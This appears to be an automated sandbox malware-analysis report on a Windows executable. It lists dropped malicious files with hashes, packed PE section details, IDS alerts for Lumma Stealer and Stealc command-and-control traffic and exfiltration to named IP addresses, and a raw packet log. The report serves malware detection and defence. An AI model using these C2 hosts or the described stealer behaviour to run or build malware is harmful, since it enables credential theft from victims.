Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe

Download File

Process:	C:\Users\user\Desktop\0HdDuWzp54.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2845696
Entropy (8bit):	6.494034362810024
Encrypted:	false
SSDEEP:	49152:sdomgbbzf500GbWP4ojGUBGuQDflvB2g+xUwGs:o5gbHRlGbWPkUBMf1B2zUBs
MD5:	97B29CE33CCFE8A2B642BD236A0DD337
SHA1:	05B326F85C0043014BCB17F3C937C82CD591ABE6
SHA-256:	D8DB10ABDB18394FA74BFB00C68A6AE1A40DE13CF5D0A6620A9A2F1D4571351D
SHA-512:	2F2B996A02C91911F90E7842FBEDF7E51EEA044D9369D98F72DCBAE6EDD8658F137A3F027DD02851C021555D69676CD98123A6F0B86E8AF5E2A31CA71639CFFB
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: NE4jxHLxXJ.exe, Detection: malicious, Browse Filename: U8mbM8r793.exe, Detection: malicious, Browse Filename: ABnDy7rLFS.exe, Detection: malicious, Browse Filename: s31ydU1MpQ.exe, Detection: malicious, Browse Filename: 20yLTIU4mS.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ........................+......I,...`.................................U...i....`..D........................................................................................................... . .@... ...@... ..............@....rsrc...D....`.......`..............@....idata . ...........f..............@...tnrxecbv...........h..............@...anayjrgy. ....+......F+.............@....taggant.@....+.."...J+.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe

Download File

Process:	C:\Users\user\Desktop\0HdDuWzp54.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2907648
Entropy (8bit):	6.49495175315163
Encrypted:	false
SSDEEP:	49152:sClAvSx/8MLHGbScHSJtB9YfkahghnWxS30m:sClaSx/8Mb8SQpk0gv0m
MD5:	880F67C30D6C2335273B27DF0004F500
SHA1:	D340D73B98A457D26180D69C28486F4D0CB98432
SHA-256:	3ACD04016A0846F4E6C69D4684AC0A21DC476E63F8E7957FC73CA58C90F40857
SHA-512:	346C038AA380B6467417D01D9FAE63BB55424886C85AC42CF98E2C9FE851C55C31BC4B46096CC793233409366C9752325C20C8FF5150EAEB8184B54EC7878CCC
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: NE4jxHLxXJ.exe, Detection: malicious, Browse Filename: U8mbM8r793.exe, Detection: malicious, Browse Filename: ABnDy7rLFS.exe, Detection: malicious, Browse Filename: s31ydU1MpQ.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(........O...........@...........................O......(-...@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@...wwqufnsk.....$.....\|..............@...dutjqjqn......O......8,.............@....taggant.0....O.."...<,.............@...........................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948228483911146
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	0HdDuWzp54.exe
File size:	1'881'088 bytes
MD5:	b333c775a7e8c4b2a778c94e6d795c15
SHA1:	dcf25b47a3a1f5da22bcdadccbc175a36c728db5
SHA256:	7e3429a5ef8c7c7bab9b54fc6c6a872904339d86f0e53162c4fc317e45656dd9
SHA512:	91fa71a3538025811b1888e32bb8cf47cb18f2d164a0f8a01cd2e07aba716243db9f53a21f1af5545d01f8b493a8fde39ff9d5dab10b7a6203969a6b8cce4c37
SSDEEP:	49152:+REk9LuS5w3cAxHsWxfnuOyBrrnY0731toFuqfvQyhm+:69Lu1sYfnu5nT/Jqf9
TLSH:	319533262FCBA043E78864B34256C27F7510A344EECE0CA9EE27CC1DD55B5A68B94DD2
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g.............................PJ...........@...........................J...........@.................................T0..h..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x8a5000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x675F3CD1 [Sun Dec 15 20:32:17 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F10A8B4705Ah
setb byte ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F10A8B49055h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], dh
add al, 00h
xor dh, byte ptr [eax]
cmpsd
jmp far 083Eh : 13A2A800h
loopne 00007F10A8B4706Fh
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [ebx], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x53054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x52000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x531f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x51000	0x24800	8fcd2bbe8a2b6a716c770c21f1d0222a	False	0.9973311750856164	data	7.984257124369339	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x52000	0x1ac	0x200	75720b8ea60aa06a31806981b744f74e	False	0.5390625	data	5.245569576626531	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x53000	0x1000	0x200	19a29171433eeef17e42fd663f137134	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x54000	0x2ad000	0x200	f0db63cfbe787f4979d074aa64c8f8cc	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
vmrkkoie	0x301000	0x1a3000	0x1a3000	861e16361e2856cbcd83134a9b63756f	False	0.9948252675641408	data	7.954181370103572	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
flohgirz	0x4a4000	0x1000	0x400	8561e329fba19a1406c4adb181cd14b6	False	0.76953125	data	6.05997513228051	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4a5000	0x3000	0x2200	0b0baffbb3cf3b5809952acc376ad7c6	False	0.07904411764705882	DOS executable (COM)	0.8223193279149094	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x52058	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-23T08:07:33.557384+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49730	172.67.199.72	443	TCP
2024-12-23T08:07:34.304640+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49730	172.67.199.72	443	TCP
2024-12-23T08:07:34.304640+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49730	172.67.199.72	443	TCP
2024-12-23T08:07:35.547835+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49731	172.67.199.72	443	TCP
2024-12-23T08:07:36.335714+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49731	172.67.199.72	443	TCP
2024-12-23T08:07:36.335714+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49731	172.67.199.72	443	TCP
2024-12-23T08:07:38.013623+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49732	172.67.199.72	443	TCP
2024-12-23T08:07:40.283602+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49733	172.67.199.72	443	TCP
2024-12-23T08:07:42.541057+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49734	172.67.199.72	443	TCP
2024-12-23T08:07:45.940306+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49735	172.67.199.72	443	TCP
2024-12-23T08:07:46.698908+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49735	172.67.199.72	443	TCP
2024-12-23T08:07:48.767842+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49737	172.67.199.72	443	TCP
2024-12-23T08:07:48.773474+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	49737	172.67.199.72	443	TCP
2024-12-23T08:07:53.286360+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49742	172.67.199.72	443	TCP
2024-12-23T08:07:54.041737+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49742	172.67.199.72	443	TCP
2024-12-23T08:07:55.504570+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49744	185.215.113.16	80	TCP
2024-12-23T08:08:09.660317+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49745	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 08:07:32.336800098 CET	49730	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:32.336863995 CET	443	49730	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:32.336930037 CET	49730	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:32.340157032 CET	49730	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:32.340179920 CET	443	49730	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:33.557310104 CET	443	49730	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:33.557384014 CET	49730	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:33.561187029 CET	49730	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:33.561197996 CET	443	49730	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:33.561453104 CET	443	49730	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:33.614963055 CET	49730	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:33.617721081 CET	49730	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:33.617752075 CET	49730	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:33.617856026 CET	443	49730	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:34.304646015 CET	443	49730	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:34.304750919 CET	443	49730	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:34.304853916 CET	49730	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:34.327805996 CET	49730	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:34.327881098 CET	443	49730	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:34.336257935 CET	49731	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:34.336339951 CET	443	49731	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:34.336440086 CET	49731	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:34.336724997 CET	49731	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:34.336754084 CET	443	49731	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:35.547745943 CET	443	49731	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:35.547835112 CET	49731	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:35.549325943 CET	49731	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:35.549371958 CET	443	49731	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:35.549721003 CET	443	49731	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:35.550997019 CET	49731	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:35.551038027 CET	49731	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:35.551083088 CET	443	49731	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:36.335722923 CET	443	49731	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:36.335794926 CET	443	49731	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:36.335835934 CET	443	49731	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:36.335869074 CET	443	49731	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:36.335896015 CET	443	49731	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:36.335892916 CET	49731	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:36.335927010 CET	443	49731	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:36.335958958 CET	49731	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:36.335980892 CET	49731	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:36.342170000 CET	443	49731	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:36.350550890 CET	443	49731	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:36.350609064 CET	49731	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:36.350630045 CET	443	49731	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:36.396282911 CET	49731	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:36.396307945 CET	443	49731	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:36.443126917 CET	49731	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:36.455050945 CET	443	49731	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:36.505631924 CET	49731	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:36.505654097 CET	443	49731	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:36.531213999 CET	443	49731	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:36.531325102 CET	443	49731	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:36.531409979 CET	443	49731	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:36.531549931 CET	49731	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:36.531625032 CET	49731	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:36.531738043 CET	49731	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:36.531788111 CET	443	49731	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:36.531833887 CET	49731	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:36.531851053 CET	443	49731	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:36.802057981 CET	49732	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:36.802107096 CET	443	49732	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:36.802319050 CET	49732	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:36.803078890 CET	49732	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:36.803103924 CET	443	49732	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:38.013554096 CET	443	49732	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:38.013622999 CET	49732	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:38.015081882 CET	49732	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:38.015105009 CET	443	49732	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:38.015368938 CET	443	49732	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:38.016575098 CET	49732	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:38.016750097 CET	49732	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:38.016824007 CET	443	49732	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:38.016891003 CET	49732	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:38.016910076 CET	443	49732	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:38.971435070 CET	443	49732	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:38.971544027 CET	443	49732	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:38.971683979 CET	49732	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:38.971757889 CET	49732	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:38.971779108 CET	443	49732	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:39.069616079 CET	49733	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:39.069683075 CET	443	49733	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:39.069773912 CET	49733	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:39.070153952 CET	49733	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:39.070168972 CET	443	49733	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:40.283524036 CET	443	49733	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:40.283601999 CET	49733	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:40.285294056 CET	49733	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:40.285307884 CET	443	49733	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:40.285547018 CET	443	49733	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:40.286952972 CET	49733	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:40.287100077 CET	49733	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:40.287101030 CET	49733	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:40.287136078 CET	443	49733	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:41.084062099 CET	443	49733	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:41.084172964 CET	443	49733	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:41.084297895 CET	49733	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:41.084367037 CET	49733	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:41.084395885 CET	443	49733	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:41.326704979 CET	49734	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:41.326751947 CET	443	49734	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:41.327017069 CET	49734	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:41.327399969 CET	49734	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:41.327410936 CET	443	49734	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:42.540936947 CET	443	49734	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:42.541057110 CET	49734	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:42.542678118 CET	49734	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:42.542687893 CET	443	49734	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:42.542928934 CET	443	49734	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:42.544472933 CET	49734	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:42.544631004 CET	49734	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:42.544656992 CET	443	49734	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:42.544725895 CET	49734	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:42.544735909 CET	443	49734	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:43.791049004 CET	443	49734	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:43.791171074 CET	443	49734	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:43.791223049 CET	49734	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:43.791445017 CET	49734	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:43.791460991 CET	443	49734	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:44.726408958 CET	49735	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:44.726463079 CET	443	49735	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:44.726717949 CET	49735	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:44.727050066 CET	49735	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:44.727062941 CET	443	49735	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:45.940215111 CET	443	49735	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:45.940305948 CET	49735	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:45.945070028 CET	49735	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:45.945092916 CET	443	49735	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:45.945481062 CET	443	49735	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:45.947235107 CET	49735	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:45.947369099 CET	49735	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:45.947375059 CET	443	49735	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:46.698925018 CET	443	49735	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:46.699218988 CET	443	49735	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:46.699292898 CET	49735	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:46.699433088 CET	49735	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:46.699457884 CET	443	49735	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:47.555757999 CET	49737	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:47.555809021 CET	443	49737	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:47.555973053 CET	49737	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:47.556215048 CET	49737	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:47.556227922 CET	443	49737	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:48.767704964 CET	443	49737	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:48.767842054 CET	49737	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:48.769340038 CET	49737	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:48.769346952 CET	443	49737	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:48.769629955 CET	443	49737	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:48.771173954 CET	49737	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:48.772810936 CET	49737	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:48.772855997 CET	443	49737	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:48.772953987 CET	49737	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:48.772979021 CET	443	49737	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:48.773077965 CET	49737	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:48.773133039 CET	443	49737	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:48.773262024 CET	49737	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:48.773288012 CET	443	49737	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:48.773403883 CET	49737	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:48.773435116 CET	443	49737	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:48.773571014 CET	49737	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:48.773590088 CET	443	49737	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:48.773601055 CET	49737	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:48.773787975 CET	49737	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:48.773822069 CET	49737	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:48.819325924 CET	443	49737	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:48.819547892 CET	49737	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:48.819597960 CET	49737	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:48.819612026 CET	49737	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:48.863333941 CET	443	49737	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:48.863742113 CET	49737	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:48.863786936 CET	49737	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:48.863810062 CET	49737	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:48.907341957 CET	443	49737	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:48.907448053 CET	49737	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:48.951338053 CET	443	49737	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:49.133821964 CET	443	49737	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:52.004884958 CET	443	49737	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:52.005022049 CET	443	49737	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:52.005192041 CET	49737	443	192.168.2.4	172.67.199.72
